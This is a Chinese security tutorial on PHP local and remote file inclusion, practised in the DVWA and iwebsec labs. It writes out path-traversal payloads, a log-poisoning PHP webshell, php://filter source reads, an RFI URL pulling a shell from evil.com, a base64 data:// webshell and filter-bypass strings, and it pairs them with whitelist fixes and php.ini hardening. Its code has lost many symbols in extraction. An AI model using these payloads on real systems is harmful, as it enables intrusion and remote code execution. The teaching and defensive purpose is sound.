深入解析文件包含漏洞:从LFI到RFI的利用与防御实战

发布时间:2026/9/15 15:08:28
深入解析文件包含漏洞:从LFI到RFI的利用与防御实战 1. 一个再看一眼就出事的 ?page 参数文件包含漏洞的前世今生我第一次在真实项目里撞上文件包含漏洞是在一次例行渗透测试中。目标是一个老旧的内部管理系统登录后所有页面跳转都靠?pageuser_list.php这种参数控制。第一眼扫过去这结构太经典了——典型的模块化加载写法PHP 里最常见也最容易出事。我当时心里就有谱了这个参数十有八九会被直接拼进include接下来就是经典的 LFI 本地文件包含链。先给刚入行的朋友把概念理顺。文件包含漏洞File Inclusion Vulnerability和 SQL 注入、XSS 一样本质上都是用户输入被当成了代码逻辑的一部分。区别在于这次被污染的是文件加载函数。PHP 里的include、include_once、require、require_once负责把指定文件的内容拿过来执行。程序员为了让代码结构清晰会把公共头部、页脚、配置信息抽成独立文件然后通过一个页面参数动态加载它们。这个设计本身没问题问题出在——当参数值直接来自用户输入且没有任何校验时攻击者就可以控制到底加载哪个文件。如果攻击者让程序加载自己服务器上的文件就是 LFILocal File Inclusion本地文件包含如果让程序加载远程服务器上的文件就是 RFIRemote File Inclusion远程文件包含。LFI 和 RFI 不是两种孤立的技术而是同一类根因下的两条分支实战中经常需要组合使用。这篇文章适合三类人读正在学习 Web 安全的初学者在 DVWA、iwebsec 这类靶场里做练习的人以及想搞明白为什么不能相信用户输入的开发人员。我会把原理、利用思路、绕过策略和修复方法串成一条完整的链路讲透并且用 DVWA 和 iwebsec 两个靶场把每个环节都实操走一遍。文章里的演示代码全部针对本地靶场环境请务必在自己搭建的测试环境里操作不要对未经授权的目标做任何测试。2. 动态加载的便利与失控为什么 include 一句代码就往文件包含的死路上走了2.1 模块化开发的便利背后藏着一个信任假设先看看文件包含为什么在 PHP 项目里这么普遍。早期 PHP 项目的典型结构长这样?php // index.php $page $_GET[page]; include($page . .php); ?这段代码的逻辑是用户访问index.php?pageabout程序就加载about.php显示关于我们访问index.php?pagecontact就加载contact.php显示联系方式。这样写的好处显而易见——一套模板、一个入口页面切换只需要换参数新增页面只需要往目录里丢文件连路由配置都省了。同样的思路在 Java 里可能表现为?jsplogin.jsp在 Python 里可能是?templatehome.html。但 PHP 的文件包含函数有一个别人少有的特性被包含的文件内容会作为 PHP 代码解析执行。这意味着加载一个文件不再只是读内容并展示而是把这段内容交给 PHP 引擎执行。攻击面因此被无限放大——你能让服务器执行文件就等于能指挥服务器干活。2.2 四个函数的差异很小但后果几乎一样函数文件不存在时重复加载时执行方式include仅产生警告程序继续跑每次都加载作为 PHP 代码执行require产生致命错误程序停止每次都加载作为 PHP 代码执行include_once仅产生警告程序继续跑同次请求只加载一次作为 PHP 代码执行require_once产生致命错误程序停止同次请求只加载一次作为 PHP 代码执行很多人会纠结include和require的差别但在漏洞利用这件事上四个函数的表现几乎一样。真正关键的是allow_url_include这个 PHP 配置项——它决定了一个文件包含点能不能读取并执行远程 URL 的内容也就是说它决定了 LFI 能否升级成 RFI。这个配置在很多老项目里因为历史原因被开着而它一旦打开危害等级直接翻倍。2.3 PHP 为什么是文件包含漏洞的重灾区做渗透测试的同行应该有一个体感LFI 在 PHP 项目里出现的概率远高于其他语言。原因主要有三第一PHP 的文件包含函数开销极低且语法简单直接初学者很容易图省事把参数拼进去。搜索一下全网的开源 PHP 项目include $_GET[xxx] 这种写法并不算罕见。第二PHP 的include有文件不存在也会继续尝试解析的容忍特性。它会先用当前文件所在目录去解析找不到再去include_path配置的目录列表里找这套柔性机制反而给了攻击者更多可操作空间。第三PHP 配套的伪协议极其丰富——php://filter、php://input、data://、phar://等等它们让一个纯文件读取漏洞可以组合出代码执行、文件写入、内网探测等花样百出的利用链。这一点我会在后面的章节详细拆。理解到这里一个结论已经浮出来了文件包含漏洞的核心不是加载文件这个行为而是加载这个文件的行为没有经过授权校验。开发商把用户输入直接当作文件路径的一部分相当于把大门钥匙交给了陌生人还嘱咐他随便转悠。3. LFI 本地文件包含从目录穿越到敏感文件读取再到潜伏的代码执行3.1 目录穿越利用 ../ 跳出限制目录LFI 的第一步是确认参数到底能不能控制路径。经典探测方式是往参数里塞 ../../http://target/index.php?page../../../../../etc/passwd如果页面里出现了root:x:0:0:root:/root:/bin/bash这类内容说明路径已经被成功穿越程序处理了../的向上跳转。这一步验证了三点参数被拼进了文件操作函数、服务器没有限制包含目录、当前脚本有权限读取目标文件。这里顺便解释一下目录穿越的原理给开发岗的读者一点参考。../表示向上一级目录../../向上两级。如果目标站点的入口脚本位于/var/www/html/那么连续五六个../理论上可以从根目录一直向上穿透到/再拼上etc/passwd就能访问到系统用户文件。现代 Linux 发行版已经把敏感信息从 passwd 移到 shadow但 passwd 依然能透露用户名列表为后续爆破或钓鱼提供情报。3.2 日志文件包含没有上传点也能执行代码读到/etc/passwd只是开胃菜因为 LFI 的终极目标是代码执行。在没有文件上传功能的目标上最常见的手段之一是日志注入Log Poisoning。Web 服务器的访问日志会记录每个请求的地址、User-Agent、请求行等信息。如果我发送这样一个请求GET /index.php?page?php phpinfo(); ?PHP 代码出现在 URL 里大多数 WAF 会拦。但如果我把恶意代码藏在 User-Agent 头里请求路径保持干净访问日志照样会完整记录GET /index.php HTTP/1.1 Host: target.com User-Agent: ?php system($_GET[cmd]); ?服务器默默把这个请求记入/var/log/apache2/access.log。然后我再用一个 LFI 请求去包含这个日志文件http://target/index.php?page../../../../var/log/apache2/access.logcmdid日志文件的内容被当成 PHP 代码解析User-Agent 里的?php system($_GET[cmd]); ?被执行cmdid参数传入后服务器回显了运行身份。这个过程说起来简单实际踩坑也不少。首先是日志路径猜不中。Apache 和 Nginx 日志路径因发行版和配置差异很大常见的有/var/log/apache2/access.log、/var/log/nginx/access.log、/opt/lampp/logs/access_log等。拿不准的时候先通过其他漏洞泄露配置文件或者用常见路径逐个尝试。其次是日志文件过大导致 PHP 解析超时或内存耗尽。日志每天都在累积动不动几十 MB。我习惯先确认日志大小再决定是不是直接包含。另一个办法是用php://filter/convert.base64-encode/resource先读出日志内容的前面部分确认注入的 PHP 代码确实写入成功后再走完整利用链。3.3 伪协议 php://filter不看排列也要拿到源码日志注入依赖运气成分较大如果拿不到日志路径或者日志被轮转LFI 还能退一步做源码泄露靠的就是php://filter。http://target/index.php?pagephp://filter/convert.base64-encode/resourceconfig.php这段请求的含义是读取config.php的内容进行 base64 编码后再输出。之所以要 base64 编码是因为 PHP 文件里全是代码直接包含会被当成 PHP 执行输出为空什么都看不到。编码成 base64 后所有内容都变成普通字符串可以安全回显。拿到 base64 后用 Python 命令解码即可echo PD9waHAvLaVsOaNruWQjuW8gOWPkeeUnw | base64 -d这个技巧的杀伤力在于它可以读取任何PHP 源码文件。数据库账号密码、第三方 API Key、加密密钥、内网地址全都藏在配置文件里。一旦源码泄露攻击者就相当于拿到了整个应用的设计图纸后续的精准打击会容易得多。3.4 结合 session 文件与临时文件的利用思路除了日志文件LFI 还有一个经常被忽略的目标是session 文件。PHP 默认把 session 存在/tmp/sess_sessionid文件名和内容都由服务器控制。如果应用允许用户在某个可控字段比如用户名、昵称里写入特殊字符而这些字段又被写进 session那么攻击者可以通过构造 session 内容实现代码注入再配合 LFI 包含 session 文件完成执行。还有一条路径是包含/proc/self/environ。这个文件记录了当前进程的环境变量包括 Host 头、User-Agent 等请求信息。只要请求头里携带了 PHP 代码包含这个文件同样可以触发代码执行。但在现代容器化部署环境里/proc/self/environ往往只显示容器内部环境利用价值有所下降。这几种利用方式的共同底层逻辑是找到一个攻击者可以控制内容的文件再用文件包含机制让它变成 PHP 代码执行。控制内容的手段可以是日志、session、临时上传文件甚至是/proc/self/fd相关的管道。只要思路打开利用路径远比想象中丰富。4. RFI 远程文件包含为什么它比 LFI 更一步到位4.1 RFI 的执行链路与危害差异RFI 的利用思路比 LFI 直接得多攻击者把自己的恶意文件托管在公网服务器上然后让目标程序直接加载它。http://target/index.php?pagehttp://evil.com/shell.txt如果目标服务器配置了allow_url_includeOn这个请求会让 PHP 把http://evil.com/shell.txt的内容拉取下来并作为 PHP 代码执行。攻击者在自己的服务器上创建的shell.txt内容可以是?php system($_GET[cmd]); ?请求一到远程恶意代码就在目标服务器上跑起来了。对比 LFIRFI 不再需要找日志、猜路径、构造可控文件一条 URL 直达代码执行攻击成本低、效率极高所以危害等级更高。4.2 前置条件allow_url_include 与网络可达性RFI 有个硬性前提——allow_url_include必须是 On。这个配置的默认值是 Off但很多老项目初始化时为了提高灵活性会把它打开。PHP 5.2 之后官方就建议关闭它理由很简单这个功能带来的灵活性远远小于它造成的安全风险。实际开发中九成场景根本用不到从远程 URL 加载文件这种操作该功能的存在价值微乎其微。除了配置前提还要看服务器能否访问外网。有些内网部署的服务器把外网出口封死了RFI 就打不通。这时候攻击者会尝试data://协议来绕过网络限制http://target/index.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4解码后是?php system($_GET[cmd]); ?。data://协议允许把数据直接内联进 URL根本不需要外网连接相当于一个不需要远程服务器的 RFI。这也是为什么allow_url_include必须关死——它不仅给 RFI 开门还把门焊在了墙上即使网络不通data://依然能从内部发起攻击。4.3 现代环境里 RFI 的存活空间很多初学者会困惑现在 RFI 是不是已经很少见了确实默认配置下allow_url_include是关闭的现代框架路由也不太会直接 include 用户参数。但只要碰到以下场景RFI 依然会出现历史遗留的 PHP 项目配置还停留在十年前使用了curl、file_get_contents下载远程文件后直接 include 的应用允许用户提交文件 URL 并下载的图片处理、文档处理功能二次开发的 CMS 或插件底层封装了远程加载能力尤其是最后一种攻击者经常能在某个不出名的插件函数里找到隐藏的远程加载点从而绕过主程序的安全防护。所以对蓝队和开发来说RFI 不该被当成过气漏洞忽视而应作为巡检项长期保留。4.4 LFI 与 RFI 的对比总结对比维度LFIRFI利用目标服务器本地文件远程服务器上的恶意文件直接结果读取敏感文件、间接代码执行直接代码执行核心前提参数可控、可穿越路径allow_url_includeOn绕过网络限制不需要外网可用 data:// 绕过危害等级中等到高极高出现频率较高较低但未消失实战里我见过不少团队只防 RFI 不防 LFI理由是反正我们关掉了 allow_url_include。这是完全错误的心态——LFI 的利用方式已经远超读文件本身日志注入、session 文件包含都能绕过没有远程加载的限制达到与 RFI 几乎相同的代码执行效果。5. 在 DVWA 与 iwebsec 靶场里把每条链路完整走一遍5.1 环境准备与 DVWA 安装DVWADamn Vulnerable Web Application是目前练习 Web 漏洞最经典的靶场用它来验证文件包含攻击链路非常合适。安装流程简述如下准备一套 PHP 环境。推荐直接用 Docker省去手动配环境的麻烦docker run --rm -it -p 80:80 vulnerables/web-dvwa访问http://localhost用默认账号admin/password登录。点击左侧栏目里的 File Inclusion 进入靶场页面。iwebsec 是另一个国产的 Web 漏洞靶场界面更简洁适合快速做针对性练习。安装方式同样是 Docker启动后进入文件包含模块即可。5.2 DVWA Low 级别的直接路径穿越DVWA 的 Low 级别几乎没有任何防护核心代码是这样的?php $file $_GET[page]; include($file); ?直接输入http://localhost/vulnerabilities/fi/?page../../../../../../etc/passwd页面立即回显 passwd 文件内容。这个步骤验证的是最基本的路径穿越链。如果你在测试中看到这一层防护都没有的系统基本可以判定该站点的安全建设处于初始阶段。5.3 Medium 级别的字符串替换与绕过Medium 级别做了两层过滤?php $file str_replace(array(http://, https://), , $_GET[page]); $file str_replace(array(../, ..\\), , $_GET[page]); ?这个防护的思路是把http://、https://、../、..\全部删除。听着挺合理但str_replace只替换一次且不做循环检查只要双写就能绕过http://localhost/vulnerabilities/fi/?page..././..././..././etc/passwd或者利用....//——中间的../被替换后剩下的../依然串联成穿越链page....//....//....//etc/passwd删除第一个../后字符串变成../攻击链依然有效。这类绕过方式的本质是过滤逻辑只做了一次没有考虑拆解重组后的结果。所有类似的黑名单过滤都逃不过这个魔咒。5.4 High 级别的白名单校验防御效果立竿见影DVWA High 级别的代码?php $file $_GET[page]; if (!fnmatch(file*, $file)) { exit(不允许访问该文件); } ?这里用了fnmatch做模式匹配只有page参数以file开头才允许访问。也就是说pagefile:///etc/passwd这种写法虽然可通过校验但实际能利用的空间被压缩到极小。配合file://协议LFI 能读到的文件范围被限制在了可预期的几个文件里。对比三个级别可以得出一条清晰的防护演进路径黑名单过滤 → 白名单校验。黑名单永远不可能列全所有恶意输入白名单直接从源头限制了攻击面。开发团队如果在评审阶段就采用白名单思路后面会省掉大量漏洞修补工作。5.5 iwebsec 模块的 RFI 验证iwebsec 的文件包含模块里专门有一道题目用于验证 RFI。操作也比较直接先在攻击者自己的服务器上准备一个恶意文件内容和前面提到的一样是一行 PHP 代码然后在 iwebsec 的目标页面输入远程地址pagehttp://攻击者服务器IP/shell.txt如果页面回显了命令执行结果说明allow_url_include为 OnRFI 成立。之后可以顺手测试data://协议是否可用确认网络受限场景下的替代路径。在靶场里练习时建议大家把 DVWA 的安全等级逐级提升先看正常的利用方式再体会不同防护强度带来的差异。这个过程能帮助形成肌肉记忆——看到include、看到$_GET[page]条件反射就能想到文件包含。6. 绕过策略的系统梳理这些对抗点在实战里反复出现6.1 过滤函数为什么防不住包含攻击DVWA Medium 级别那种str_replace过滤方式在真实代码里出现频率极高但它的缺陷非常致命——一次性的非递归过滤永远赶不上攻击者的构造思路。我整理了几个高频绕过的思路不是为了教攻击技巧而是希望开发和维护人员明白自己写的过滤函数漏洞在哪里双写绕过....//代替../编码绕过%2e%2e%2f表示../URL 解码后仍形成穿越链空字节截断老版本 PHPpage../../etc/passwd%00.php%00会截断后面的.php后缀路径拼接差异../../etc/passwd/./这种写法某些解析器会规范化后再拼接这些绕过手法之所以有效是因为黑名单的修订永远落后于攻击构造。今天拦了../明天换%2e%2e%2f今天拦了绝对路径明天换软链接。跟黑名单死磕是一场没有尽头的军备竞赛唯一有效的方案是采用白名单机制。6.2 路径规范化差异问题很多系统的代码里存在一个看着已经防护了实际还是被打穿的情况?php $base /var/www/html/pages/; $file realpath($base . $_GET[page]); if (strpos($file, $base) ! 0) { exit(无效路径); } include($file); ?这段代码先拼接路径再用realpath解析出真实路径然后检查真实路径是否在允许目录内。逻辑上是合理的防护但实际部署中可能遇到以下避不开的问题第一realpath需要文件必须存在否则返回 false。如果传入的文件名代表一个尚不存在的文件某些场景下 include 允许加载不存在的文件并延迟报错校验会直接失效。第二strpos判断使用! 0如果$base为/var/www/html/pages/攻击者构造路径的实际解析结果为/var/www/html/pages_evil/x.phpstrpos会因为前缀命中而放行。这就是经典的前缀匹配不完全等于目录包含问题修复方法是给$base末尾加一个/并确保拼接结果精确匹配。第三Windows 路径大小写不敏感、..\与/混用等平台差异会导致同一段校验在不同操作系统上表现完全不同。6.3 WAF 层防护的实际效果与局限团队问我最多的问题是上了 WAF 是不是就不用管文件包含漏洞了我的经验是WAF 能挡一部分攻击但不能作为根治方案。WAF 对已知攻击特征的识别率不错比如 URL 里直接出现../etc/passwd规则命中率高。但攻击者可以换编码、拆字段、用php://filter包装、把恶意代码放在 Header 里WAF 的检测盲区依然很多。尤其是日志注入这类利用方式恶意代码不在 URL 里WAF 很难提前拦截。正确的做法是WAF 作为纵深防御的一层代码层修复是根本。任何依赖单一安全产品来兜底漏洞的思路最后都会在某个意想不到的对抗点上翻车。6.4 伪协议与协议白名单之间的关系前面多次提到php://filter、data://、file://等伪协议这里专门补一个开发视角的关键点在关闭allow_url_include的同时php://和file://协议本身依然可用。也就是说LFI 不依赖远程加载配置它只依赖 PHP 内置的文件流封装器。有没有办法禁用这些伪协议有。PHP 支持通过php.ini自定义流封装器的allow_url_fopen、allow_url_include以及通过/etc/php/conf.d/下的扩展配置禁用特定封装器。但更实际的做法是不要在生产环境用任何可被用户参数控制的 include 操作。与其费劲去禁用每一个协议不如从源头上断掉用户输入 → 文件路径这条通路。7. 修复与防御把用户输入当文件路径的习惯彻底改掉7.1 第一优先级用白名单代替参数拼接这是我反复强调的方案也是 CVE 评修复方案时最推荐的思路。假设你的应用只需要加载三个页面那就写死映射关系?php $allowed_pages array( home ./pages/home.php, about ./pages/about.php, contact ./pages/contact.php ); $page_key $_GET[page]; if (isset($allowed_pages[$page_key])) { include($allowed_pages[$page_key]); } else { include(./pages/404.php); } ?攻击者传入任何不在白名单里的值都会走 404 分支。../etc/passwd、http://evil.com/shell.txt、php://filter全部失效。这个方案对不同代码结构迁移成本不高收益却是决定性的——彻底断了用户输入触达文件路径的可能。7.2 路径校验的增强写法如果因为业务原因必须允许用户选择相对路径下的文件那至少要做两层校验缺一不可?php $base_dir realpath(/var/www/app/templates/); $target realpath($base_dir . / . $_GET[tpl]); // 第一层文件必须存在且解析成功 if ($target false) { exit(无效模板); } // 第二层解析后的真实路径必须严格位于白名单目录内 if (strpos($target, $base_dir . /) ! 0) { exit(路径越界); } include($target); ?注意$base_dir . /末尾的斜杠一定不能省否则会出现前缀命中但实际目录完全不同的漏洞。这个写法相当于给文件路径加了一道实名制检查任何试图通过../跳出目录的尝试都会被第二层拦截。7.3 关闭危险配置项在php.ini中确认以下配置allow_url_include Off allow_url_fopen Off ; 如果业务不需要远程文件读写建议一并关闭常见做法是在部署脚本里统一写入sed -i s/allow_url_include On/allow_url_include Off/ /etc/php/*/apache2/php.ini systemctl restart apache2关闭后可以用一条命令验证php -r var_dump(ini_get(allow_url_include));如果输出string(1) 0说明生效。这里再补充一个容易忽略的点云服务商提供的 PHP 集成环境比如宝塔面板、cPanel 等默认可能会开着allow_url_include所以不能想当然地认为默认关着就不用管上线前务必要亲自检测。7.4 运行时配置与代码审计的自查清单最后给开发团队和审计人员一份我平时用的自查清单项目代码中搜索include、require、include_once、require_once的所有调用点逐一确认参数是否可能来自用户输入搜索$_GET、$_POST、$_REQUEST、$_COOKIE等超全局变量被直接拼接进路径的场景检查php.ini中allow_url_include和allow_url_fopen的值确认框架路由是否支持自定义模板路径参数检查文件上传功能上传的文件名、文件路径是否可能被后续 include 操作引用定期更新框架和第三方组件防止利用已知组件漏洞自动生成可控文件后配合文件包含触发把这些条目固化为上线前的检查项比事后补救要省心得多。我做安全评估时只要在对方案例里看到这六条里有任何一条是没查过的状态就一定会把文件包含漏洞列入重点排查项。8. 最后说点实在的我在实际测试中踩过的最深一次坑是一个客户自认为绝对安全的系统——他们关掉了allow_url_include部署了 WAF还把../的请求全给拦了。结果我通过一个隐藏的导出功能把日志文件读出来并在里面伪造了一个带 PHP 代码的请求再配合 LFI 完成代码执行。整个过程没有用到任何远程加载也没有触碰 WAF 的敏感规则。这件事给我的教训是安全不是配置几个开关、加几个过滤函数就能完成的而是要对每一段用户输入保持不信任的态度从架构层面把风险入口堵死。对初学者来说DVWA 和 iwebsec 是绝佳的练习场地。建议你把 DVWA 的安全等级从 Low 调到 High每一级都亲手过一遍体会黑名单过滤和白名单校验的天壤之别。等你能不看 Payload 就知道当前防护是什么级别时文件包含这关就算真正过了。后续如果还想进阶可以研究一下phar://反序列化组合利用、pearcmd.php这类冷门但不时的利用链它们都是在真实攻防中出现过的经典手法。但在那之前先把这篇文章里的基础链路啃透。